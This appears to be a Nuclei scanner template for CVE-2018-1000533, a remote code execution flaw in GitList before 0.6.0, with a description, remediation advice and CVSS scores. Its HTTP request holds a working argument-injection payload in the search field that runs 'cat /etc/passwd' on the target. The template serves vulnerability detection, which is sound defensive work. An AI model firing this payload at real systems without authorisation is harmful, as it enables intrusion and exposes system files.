id: CVE-2018-1000533 info: name: GitList < 0.6.0 Remote Code Execution author: pikpikcu severity: critical description: klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution. impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system. remediation: | Upgrade GitList to version 0.6.0 or later to mitigate this vulnerability. reference: - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 - https://nvd.nist.gov/vuln/detail/CVE-2018-1000533 - https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html - https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-1000533 cwe-id: CWE-20 epss-score: 0.97242 epss-percentile: 0.99806 cpe: cpe:2.3:a:gitlist:gitlist:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: gitlist product: gitlist tags: git,cve,cve2018,gitlist,vulhub,rce http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | POST /{{path}}/tree/a/search HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded query=--open-files-in-pager=cat%20/etc/passwd matchers: - type: word part: body words: - "root:/root:/bin/bash" extractors: - type: regex name: path group: 1 regex: - '(.*?)' internal: true part: body # digest: 4a0a00473045022100a483f2e85a0a61d5442379f553a81b168cb303b02f98d1d0184615f64f55c39802206b82f6795f61c317a25436bfaaf0c775004939d135660be36de0fac888dffdde:922c64590222798bb761d5b6d8e72950